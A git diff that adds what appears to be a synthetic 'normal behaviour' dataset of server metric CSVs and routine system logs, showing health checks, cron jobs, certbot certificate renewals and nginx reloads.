CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 29 10:02:55 web-app[3456]: GET /api/v1/health status=200 OK +Aug 29 10:03:20 certbot[9123]: INFO: Attempting to renew certificate for example.com +Aug 29 10:03:25 certbot[9123]: INFO: Certificate renewal successful. +Aug 29 10:03:30 systemd[1]: Reloading nginx.service... +Aug 29 10:03:35 nginx[2345]: INFO: Reloading nginx configuration. +Aug 29 10:04:35 web-app[3456]: GET /api/v1/health status=200 OK +Aug 29 10:05:25 systemd[1]: Starting daily clean up activities... +Aug 29 10:06:15 web-app[3456]: GET /api/v1/health status=200 OK +Aug 29 10:07:05 CRON[8799]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/norm_dataset/scenario_5/norm_5_3.csv b/norm_dataset/scenario_5/norm_5_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..87169dd0a1ee6248307ff19c2de18d3423a05968 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-18T22:00:00Z,15.67,39.05,13.75,0.92,1.09 +2025-08-18T22:00:05Z,14.88,39.42,8.03,0.96,0.94 +2025-08-18T22:00:10Z,16.58,39.05,6.12,0.96,0.8 +2025-08-18T22:00:15Z,17.7,40.43,14.23,0.89,0.72 +2025-08-18T22:00:20Z,13.83,40.66,13.75,1.15,0.84 +2025-08-18T22:00:25Z,15.33,39.72,11.05,1.14,0.86 +2025-08-18T22:00:30Z,14.99,40.08,12.26,1.06,1.1 +2025-08-18T22:00:35Z,17.9,38.7,7.43,0.85,0.87 +2025-08-18T22:00:40Z,12.78,41.16,10.09,1.2,0.72 +2025-08-18T22:00:45Z,15.23,38.91,6.86,1.07,1.07 +2025-08-18T22:00:50Z,13.09,41.24,5.4,1.08,1.07 +2025-08-18T22:00:55Z,17.94,41.39,9.99,0.87,0.73 +2025-08-18T22:01:00Z,17.19,40.98,5.08,0.9,1.09 +2025-08-18T22:01:05Z,14.52,41.05,11.86,1.09,1.04 +2025-08-18T22:01:10Z,14.11,39.71,9.76,1.18,0.97 +2025-08-18T22:01:15Z,14.16,41.88,12.45,1.19,1.04 +2025-08-18T22:01:20Z,14.15,38.62,11.83,1.19,0.81 +2025-08-18T22:01:25Z,17.26,38.04,8.77,0.82,0.7 +2025-08-18T22:01:30Z,13.11,41.61,6.63,1.04,0.95 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+2025-08-18T22:03:15Z,37.03,39.62,26.42,32.81,16.55 +2025-08-18T22:03:20Z,38.08,39.86,22.5,27.68,22.27 +2025-08-18T22:03:25Z,30.81,38.9,25.91,26.18,25.4 +2025-08-18T22:03:30Z,37.54,40.21,23.3,1.12,0.74 +2025-08-18T22:03:35Z,36.48,40.74,24.99,0.83,0.79 +2025-08-18T22:03:40Z,39.73,38.55,27.63,1.01,0.95 +2025-08-18T22:03:45Z,28.9,38.69,23.92,0.89,0.75 +2025-08-18T22:03:50Z,36.91,40.42,23.65,0.95,0.73 +2025-08-18T22:03:55Z,37.45,39.51,20.44,1.08,1.02 +2025-08-18T22:04:00Z,16.7,41.61,11.36,0.92,0.95 +2025-08-18T22:04:05Z,13.03,39.2,5.4,1.1,0.77 +2025-08-18T22:04:10Z,15.1,41.67,14.76,1.06,0.98 +2025-08-18T22:04:15Z,12.53,40.27,8.29,1.15,0.75 +2025-08-18T22:04:20Z,16.2,40.89,9.55,0.89,0.82 +2025-08-18T22:04:25Z,15.31,41.99,13.78,0.89,0.85 +2025-08-18T22:04:30Z,12.28,38.82,12.79,1.12,1.06 +2025-08-18T22:04:35Z,15.04,41.01,10.07,1.05,0.88 +2025-08-18T22:04:40Z,17.81,38.53,13.88,1.08,0.76 +2025-08-18T22:04:45Z,17.92,40.63,5.34,1.08,1.02 +2025-08-18T22:04:50Z,12.61,38.12,9.34,1.02,1.1 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+2025-08-18T22:06:35Z,15.03,40.26,10.77,0.96,0.75 +2025-08-18T22:06:40Z,12.2,38.16,13.03,0.85,0.87 +2025-08-18T22:06:45Z,17.37,38.88,13.76,1.18,1.06 +2025-08-18T22:06:50Z,14.19,40.61,7.13,0.85,0.97 +2025-08-18T22:06:55Z,12.45,39.52,6.83,0.96,0.96 +2025-08-18T22:07:00Z,13.96,38.85,14.97,1.14,1.05 +2025-08-18T22:07:05Z,15.41,38.88,8.88,0.81,0.92 +2025-08-18T22:07:10Z,12.5,39.23,10.88,0.87,1.07 +2025-08-18T22:07:15Z,13.57,40.02,11.45,1.04,0.75 +2025-08-18T22:07:20Z,15.82,39.25,10.45,0.94,0.7 +2025-08-18T22:07:25Z,15.78,39.16,12.07,1.0,0.95 diff --git a/norm_dataset/scenario_5/norm_5_3.log b/norm_dataset/scenario_5/norm_5_3.log new file mode 100644 index 0000000000000000000000000000000000000000..88e9850d3617c30f33721c243c4d4017251c17c6 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_3.log @@ -0,0 +1,27 @@ +Aug 18 22:00:00 web-app[2134]: GET /api/v1/status status=200 OK +Aug 18 22:00:20 web-app[2134]: GET /api/v1/status status=200 OK +Aug 18 22:00:40 web-app[2134]: GET /api/v1/status status=200 OK +Aug 18 22:01:00 web-app[2134]: GET /api/v1/status status=200 OK +Aug 18 22:01:20 web-app[2134]: GET /api/v1/status status=200 OK +Aug 18 22:01:40 web-app[2134]: GET /api/v1/status status=200 OK +Aug 18 22:01:40 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 18 22:02:00 web-app[2134]: GET /api/v1/status status=200 OK +Aug 18 22:02:20 web-app[2134]: GET /api/v1/status status=200 OK +Aug 18 22:02:40 web-app[2134]: GET /api/v1/status status=200 OK +Aug 18 22:03:00 web-app[2134]: GET /api/v1/status status=200 OK +Aug 18 22:03:05 certbot[8899]: INFO Renewing certificate for example.com. +Aug 18 22:03:20 web-app[2134]: GET /api/v1/status status=200 OK +Aug 18 22:03:20 certbot[8899]: INFO Certificate renewal successful. +Aug 18 22:03:25 certbot[8899]: INFO Reloading nginx service. +Aug 18 22:03:40 web-app[2134]: GET /api/v1/status status=200 OK +Aug 18 22:04:00 web-app[2134]: GET /api/v1/status status=200 OK +Aug 18 22:04:20 web-app[2134]: GET /api/v1/status status=200 OK +Aug 18 22:04:40 web-app[2134]: GET /api/v1/status status=200 OK +Aug 18 22:05:00 web-app[2134]: GET /api/v1/status status=200 OK +Aug 18 22:05:20 web-app[2134]: GET /api/v1/status status=200 OK +Aug 18 22:05:40 web-app[2134]: GET /api/v1/status status=200 OK +Aug 18 22:06:00 web-app[2134]: GET /api/v1/status status=200 OK +Aug 18 22:06:20 web-app[2134]: GET /api/v1/status status=200 OK +Aug 18 22:06:40 web-app[2134]: GET /api/v1/status status=200 OK +Aug 18 22:07:00 web-app[2134]: GET /api/v1/status status=200 OK +Aug 18 22:07:20 web-app[2134]: GET /api/v1/status status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_30.csv b/norm_dataset/scenario_5/norm_5_30.csv new file mode 100644 index 0000000000000000000000000000000000000000..4d33a79d5e116c4b9008b4a1735aed3cbcb3143e --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_30.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-08-22T10:07:20Z,14.501786435385288,42.35562536647734,25.563839784880116,1.0183458632109252,0.9094457025072865 +2025-08-22T10:07:25Z,12.499413622263262,41.78716384849133,28.669768066714415,1.042745415396213,0.9380360052049659 diff --git a/norm_dataset/scenario_5/norm_5_30.log b/norm_dataset/scenario_5/norm_5_30.log new file mode 100644 index 0000000000000000000000000000000000000000..76c7b12b5887df5c538485bf652e22c062be903b --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_30.log @@ -0,0 +1,7 @@ +Aug 22 10:00:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:00:00 web-app[5432]: GET /api/v1/health status=200 OK +Aug 22 10:00:30 web-app[5432]: GET /api/v1/health status=200 OK +Aug 22 10:03:30 web-app[5432]: GET /api/v1/health status=200 OK +Aug 22 10:06:30 web-app[5432]: GET /api/v1/health status=200 OK +Aug 22 10:07:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:07:00 web-app[5432]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_31.csv b/norm_dataset/scenario_5/norm_5_31.csv new file mode 100644 index 0000000000000000000000000000000000000000..2f02584413ca108acd066549ecf6eb20610af1f4 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_31.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,14.29,39.13,30.97,1.16,1.25 +2025-08-22T10:00:05Z,17.19,39.42,39.15,1.15,0.81 +2025-08-22T10:00:10Z,14.39,40.64,27.92,1.35,1.01 +2025-08-22T10:00:15Z,18.45,41.82,28.11,1.3,0.8 +2025-08-22T10:00:20Z,16.9,40.04,17.56,1.24,0.56 +2025-08-22T10:00:25Z,15.78,38.76,24.63,1.11,0.88 +2025-08-22T10:00:30Z,14.72,41.64,34.46,1.47,1.0 +2025-08-22T10:00:35Z,16.2,39.86,26.35,1.19,1.16 +2025-08-22T10:00:40Z,15.04,39.51,36.03,1.08,0.95 +2025-08-22T10:00:45Z,16.49,39.97,31.18,1.26,0.55 +2025-08-22T10:00:50Z,16.96,38.38,36.24,1.38,0.91 +2025-08-22T10:00:55Z,13.4,39.81,16.42,1.33,0.74 +2025-08-22T10:01:00Z,12.93,41.16,29.53,1.33,1.2 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0000000000000000000000000000000000000000..559ef237eb8e5e507eaaac1d0154f7eb62450689 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_31.log @@ -0,0 +1,43 @@ +Aug 22 10:00:00 CRON[5555]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:00 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:00:20 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:00:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:40 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:01:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:00 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:01:20 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:01:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:40 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:02:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:00 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:02:20 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:02:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:40 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:02:55 certbot[3456]: INFO Renewing certificate for example.com. +Aug 22 10:03:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:00 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:03:05 certbot[3456]: INFO Certificate renewal successful. +Aug 22 10:03:10 systemd[1]: Reloading nginx.service - A high performance web server and a reverse proxy server. +Aug 22 10:03:20 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:03:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:40 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:04:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:04:00 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:04:20 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:04:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:04:40 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:05:00 CRON[5555]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:05:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:00 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:05:20 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:05:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:40 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:06:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:06:00 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:06:20 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:06:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:06:40 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:07:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:07:00 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:07:20 web-app[1234]: GET /api/v1/status status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_32.csv b/norm_dataset/scenario_5/norm_5_32.csv new file mode 100644 index 0000000000000000000000000000000000000000..4fda97cd917fb487bfe00553cae46bca7cbd3b93 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_32.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,11.87,38.48,23.41,1.12,0.86 +2025-08-22T10:00:05Z,14.75,40.85,21.13,1.12,0.96 +2025-08-22T10:00:10Z,13.66,41.04,29.25,1.15,0.88 +2025-08-22T10:00:15Z,12.99,40.25,28.77,1.17,0.92 +2025-08-22T10:00:20Z,10.78,41.08,22.58,1.0,1.08 +2025-08-22T10:00:25Z,10.78,39.98,26.6,1.0,0.85 +2025-08-22T10:00:30Z,10.29,40.09,28.17,1.12,1.08 +2025-08-22T10:00:35Z,14.33,39.71,25.55,1.06,1.06 +2025-08-22T10:00:40Z,13.01,38.1,25.3,1.08,0.78 +2025-08-22T10:00:45Z,13.54,38.43,22.42,1.12,0.73 +2025-08-22T10:00:50Z,10.1,38.13,20.93,1.16,0.74 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b/norm_dataset/scenario_5/norm_5_32.log new file mode 100644 index 0000000000000000000000000000000000000000..4d0ceaed221cfb5c424f7ea817a370aee5e7fd47 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_32.log @@ -0,0 +1,25 @@ +Aug 22 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:34 web-app[3456]: GET /api/v1/health status=200 OK +Aug 22 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:10 web-app[3456]: GET /api/v1/health status=200 OK +Aug 22 10:01:39 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:45 web-app[3456]: GET /api/v1/health status=200 OK +Aug 22 10:02:19 web-app[3456]: GET /api/v1/health status=200 OK +Aug 22 10:02:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:54 web-app[3456]: GET /api/v1/health status=200 OK +Aug 22 10:02:59 CRON[7789]: (root) CMD (certbot renew --quiet) +Aug 22 10:03:05 certbot[7791]: INFO Renewing certificate for example.com +Aug 22 10:03:12 certbot[7791]: INFO Certificate renewal successful. +Aug 22 10:03:15 certbot[7791]: INFO Reloading nginx service. +Aug 22 10:03:19 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:30 web-app[3456]: GET /api/v1/health status=200 OK +Aug 22 10:04:04 web-app[3456]: GET /api/v1/health status=200 OK +Aug 22 10:04:10 systemd[1]: Starting daily clean up activities... +Aug 22 10:04:40 web-app[3456]: GET /api/v1/health status=200 OK +Aug 22 10:05:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:15 web-app[3456]: GET /api/v1/health status=200 OK +Aug 22 10:05:49 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:49 web-app[3456]: GET /api/v1/health status=200 OK +Aug 22 10:06:25 web-app[3456]: GET /api/v1/health status=200 OK +Aug 22 10:06:40 systemd[1]: Starting daily clean up activities... +Aug 22 10:06:59 web-app[3456]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_33.csv b/norm_dataset/scenario_5/norm_5_33.csv new file mode 100644 index 0000000000000000000000000000000000000000..93cfed771ec6505493dfc59955f56857ebb35628 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_33.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,16.747296243116303,38.81918933988004,24.41506739127672,1.0996948672776927,0.914313175167473 +2025-08-22T10:00:05Z,11.708271161797281,38.72641060334924,32.518286397574386,1.2488569786761337,0.5306121100814112 +2025-08-22T10:00:10Z,17.02157434417181,40.10408438045516,20.427743269046157,1.1119894240679757,0.8836759552283436 +2025-08-22T10:00:15Z,15.445170270990115,37.46887574896147,28.6776668463457,1.1213897635184826,1.180139437411099 +2025-08-22T10:00:20Z,17.288288994053957,40.144275915830036,26.378186100898354,1.4250858154482358,1.1331067575588059 +2025-08-22T10:00:25Z,14.929326247130533,40.43561371461382,20.330939072745366,1.0088386293788953,0.8499631280743049 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+2025-08-22T10:07:10Z,11.964027254739113,40.341382901538225,25.474126636261953,0.8677199970505529,0.875959009393427 +2025-08-22T10:07:15Z,17.973029314493065,43.55006686405284,35.2500464403517,0.7759001321820337,0.8048420056077279 +2025-08-22T10:07:20Z,15.225257086793812,43.484817307691664,33.09484336648715,1.035996397717279,1.0038470329055096 +2025-08-22T10:07:25Z,12.18461298449343,40.30003519199587,29.870406723486,1.204948008419625,0.9126709646355154 diff --git a/norm_dataset/scenario_5/norm_5_33.log b/norm_dataset/scenario_5/norm_5_33.log new file mode 100644 index 0000000000000000000000000000000000000000..810e9975e65b36a10e18254a30a43eb0a96373cc --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_33.log @@ -0,0 +1,12 @@ +Aug 22 10:00:00 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:00:45 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:50 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:03:20 CRON[6789]: (root) CMD (certbot renew --quiet) +Aug 22 10:03:25 certbot[6790]: INFO: Renewing certificate for example.com. +Aug 22 10:03:35 certbot[6790]: INFO: Starting new HTTPS connection (1) to acme-v02.api.letsencrypt.org +Aug 22 10:03:50 certbot[6790]: INFO: Certificate renewal successful. +Aug 22 10:04:00 certbot[6790]: INFO: Reloading nginx service. +Aug 22 10:04:02 systemd[1]: Reloaded The NGINX HTTP Server. +Aug 22 10:04:35 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:05:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:05:35 web-app[1234]: GET /api/v1/user/99 status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_34.csv b/norm_dataset/scenario_5/norm_5_34.csv new file mode 100644 index 0000000000000000000000000000000000000000..813f622c48e0c17ab2af5feb4dd171623406bf95 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_34.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,15.99,40.15,28.13,1.29,0.9 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+2025-08-22T10:06:45Z,15.71,38.78,24.7,1.3,0.79 +2025-08-22T10:06:50Z,17.96,39.88,8.79,1.17,0.39 +2025-08-22T10:06:55Z,13.96,40.51,19.88,0.97,0.78 +2025-08-22T10:07:00Z,13.38,40.42,23.74,1.0,0.54 +2025-08-22T10:07:05Z,14.0,41.24,18.76,0.8,0.93 +2025-08-22T10:07:10Z,16.83,40.02,33.16,1.0,0.87 +2025-08-22T10:07:15Z,15.66,42.18,17.85,0.94,0.61 +2025-08-22T10:07:20Z,13.94,39.6,22.8,1.06,0.7 +2025-08-22T10:07:25Z,16.03,44.08,25.65,0.83,0.59 diff --git a/norm_dataset/scenario_5/norm_5_34.log b/norm_dataset/scenario_5/norm_5_34.log new file mode 100644 index 0000000000000000000000000000000000000000..9d66b0d70a1f66648d8acda268b484a476d513cc --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_34.log @@ -0,0 +1,18 @@ +Aug 22 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:00 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:01:05 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:02:05 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:10 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:03:00 CRON[4521]: (root) CMD (/usr/bin/certbot renew --quiet) +Aug 22 10:03:05 certbot[4523]: INFO: Renewing certificate for example.com. +Aug 22 10:03:15 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:03:20 certbot[4523]: INFO: Certificate renewal successful. +Aug 22 10:03:25 certbot[4523]: INFO: Reloading nginx service. +Aug 22 10:04:10 systemd[1]: Starting daily clean up activities... +Aug 22 10:04:20 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:05:25 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:05:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:06:15 systemd[1]: Starting daily clean up activities... +Aug 22 10:06:30 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:06:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_5/norm_5_35.csv b/norm_dataset/scenario_5/norm_5_35.csv new file mode 100644 index 0000000000000000000000000000000000000000..6da6f09b567785eb2d955cdbc2b5934df8b40eca --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_35.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,12.39692196381951,41.307413682466034,28.810535844769525,1.068013680860575,0.5404405179962901 +2025-07-02T11:00:05Z,15.609536219712375,40.05808932822068,30.199725298492595,0.9813009442286369,0.8842962355841644 +2025-07-02T11:00:10Z,15.668423036273133,42.42334691316288,30.173947980606066,0.7639051913872825,0.9377400222713264 +2025-07-02T11:00:15Z,13.791616832129263,36.88842939081529,30.498728433076977,1.2146628851282468,0.9768030525320595 +2025-07-02T11:00:20Z,14.90049492404296,40.798280531184965,32.02960914875865,1.2079437748845994,1.2927844441565812 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web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:00:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:01:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:01:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:01:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:02:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:02:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:02:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:03:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:03:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:03:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:03:40 certbot[6789]: INFO: Renewing certificate for example.com. +Jul 02 11:03:45 certbot[6789]: INFO: Certificate renewal successful. +Jul 02 11:04:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:04:00 systemd[1]: Reloading nginx.service. +Jul 02 11:04:00 certbot[6789]: INFO: Reloading nginx service. +Jul 02 11:04:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:04:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:05:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:05:00 systemd[1]: Starting daily clean up activities... +Jul 02 11:05:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:05:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:06:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:06:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:06:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:07:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:07:20 web-app[1234]: GET /api/v1/user/12 status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_36.csv b/norm_dataset/scenario_5/norm_5_36.csv new file mode 100644 index 0000000000000000000000000000000000000000..f3ce469f4bb5f69ccd72add37d16bfcf6b6864da --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_36.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,11.87,38.48,25.12,1.37,0.93 +2025-08-22T10:00:05Z,14.75,41.05,21.7,1.37,1.09 +2025-08-22T10:00:10Z,13.66,41.44,33.87,1.41,0.97 +2025-08-22T10:00:15Z,12.99,40.84,33.16,1.44,1.03 +2025-08-22T10:00:20Z,10.78,41.86,23.87,1.16,1.26 +2025-08-22T10:00:25Z,10.78,40.93,29.9,1.15,0.93 +2025-08-22T10:00:30Z,10.29,41.22,32.26,1.36,1.28 +2025-08-22T10:00:35Z,14.33,41.0,28.33,1.25,1.24 +2025-08-22T10:00:40Z,13.01,39.54,27.94,1.29,0.82 +2025-08-22T10:00:45Z,13.54,40.0,23.63,1.36,0.74 +2025-08-22T10:00:50Z,10.1,39.81,21.4,1.42,0.76 +2025-08-22T10:00:55Z,14.85,42.33,33.46,1.04,0.71 +2025-08-22T10:01:00Z,14.16,41.12,33.51,1.06,0.76 +2025-08-22T10:01:05Z,11.06,41.96,29.5,0.87,1.11 +2025-08-22T10:01:10Z,10.91,43.6,25.09,1.2,0.74 +2025-08-22T10:01:15Z,10.92,40.99,25.24,0.83,0.89 +2025-08-22T10:01:20Z,11.52,41.64,30.89,1.13,1.21 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10:00:45 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:05 web-app[1234]: GET /api/v1/user/42 status=200 OK +Aug 22 10:02:30 CRON[4564]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:03:00 CRON[4565]: (root) CMD (certbot renew --quiet) +Aug 22 10:03:02 certbot[4567]: INFO Renewing certificate for example.com. +Aug 22 10:03:13 certbot[4567]: INFO Certificate renewal successful. +Aug 22 10:03:15 certbot[4567]: INFO Reloading nginx service. +Aug 22 10:03:15 systemd[1]: Reloading Nginx. +Aug 22 10:03:16 systemd[1]: Reloaded Nginx. +Aug 22 10:04:10 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:05:10 web-app[1234]: GET /api/v1/user/99 status=200 OK +Aug 22 10:06:40 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_5/norm_5_37.csv b/norm_dataset/scenario_5/norm_5_37.csv new file mode 100644 index 0000000000000000000000000000000000000000..a875afe1e74bd37816e2e50ba3efcea618947f14 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_37.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,13.44,41.9,7.66,1.05,0.75 +2025-08-22T10:00:05Z,13.44,41.71,5.44,1.1,0.84 +2025-08-22T10:00:10Z,13.67,38.66,9.32,1.04,0.93 +2025-08-22T10:00:15Z,13.61,40.91,5.52,1.0,0.99 +2025-08-22T10:00:20Z,13.3,40.23,8.72,0.94,0.9 +2025-08-22T10:00:25Z,12.26,41.77,14.29,1.02,0.86 +2025-08-22T10:00:30Z,11.32,39.49,6.97,0.98,0.78 +2025-08-22T10:00:35Z,10.69,38.63,11.57,0.98,0.84 +2025-08-22T10:00:40Z,11.43,41.59,10.65,0.92,0.82 +2025-08-22T10:00:45Z,12.15,40.44,13.52,1.02,0.9 +2025-08-22T10:00:50Z,12.55,40.92,11.4,1.08,0.96 +2025-08-22T10:00:55Z,12.13,41.64,6.96,1.07,0.93 +2025-08-22T10:01:00Z,12.88,40.69,13.37,1.06,0.84 +2025-08-22T10:01:05Z,13.04,41.1,14.6,1.0,0.79 +2025-08-22T10:01:10Z,12.57,38.85,8.6,1.01,0.83 +2025-08-22T10:01:15Z,12.24,40.11,7.74,0.97,0.95 +2025-08-22T10:01:20Z,12.25,38.18,14.86,0.99,0.96 +2025-08-22T10:01:25Z,13.28,38.43,5.83,0.97,1.02 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+2025-08-22T10:06:30Z,13.56,38.46,12.03,1.12,1.02 +2025-08-22T10:06:35Z,13.13,38.85,12.69,1.16,0.99 +2025-08-22T10:06:40Z,12.15,40.34,12.67,1.17,0.88 +2025-08-22T10:06:45Z,11.19,40.23,6.44,1.11,0.94 +2025-08-22T10:06:50Z,10.99,41.85,5.52,1.09,0.86 +2025-08-22T10:06:55Z,12.03,38.33,12.99,0.98,0.94 +2025-08-22T10:07:00Z,12.84,38.02,7.75,1.05,0.85 +2025-08-22T10:07:05Z,14.14,39.47,11.13,0.97,0.94 +2025-08-22T10:07:10Z,14.01,40.97,8.91,1.01,0.95 +2025-08-22T10:07:15Z,13.86,38.78,5.4,0.97,0.96 +2025-08-22T10:07:20Z,13.15,38.57,6.18,0.97,0.86 +2025-08-22T10:07:25Z,12.59,41.52,9.23,0.95,0.77 diff --git a/norm_dataset/scenario_5/norm_5_37.log b/norm_dataset/scenario_5/norm_5_37.log new file mode 100644 index 0000000000000000000000000000000000000000..25cc642bda414185eb2791eb2df58c29c1556c82 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_37.log @@ -0,0 +1,10 @@ +Aug 22 10:00:25 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:15 web-app[3456]: GET /api/v1/health status=200 OK +Aug 22 10:02:30 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:03:20 CRON[9876]: (root) CMD (/usr/bin/certbot renew --quiet) +Aug 22 10:03:25 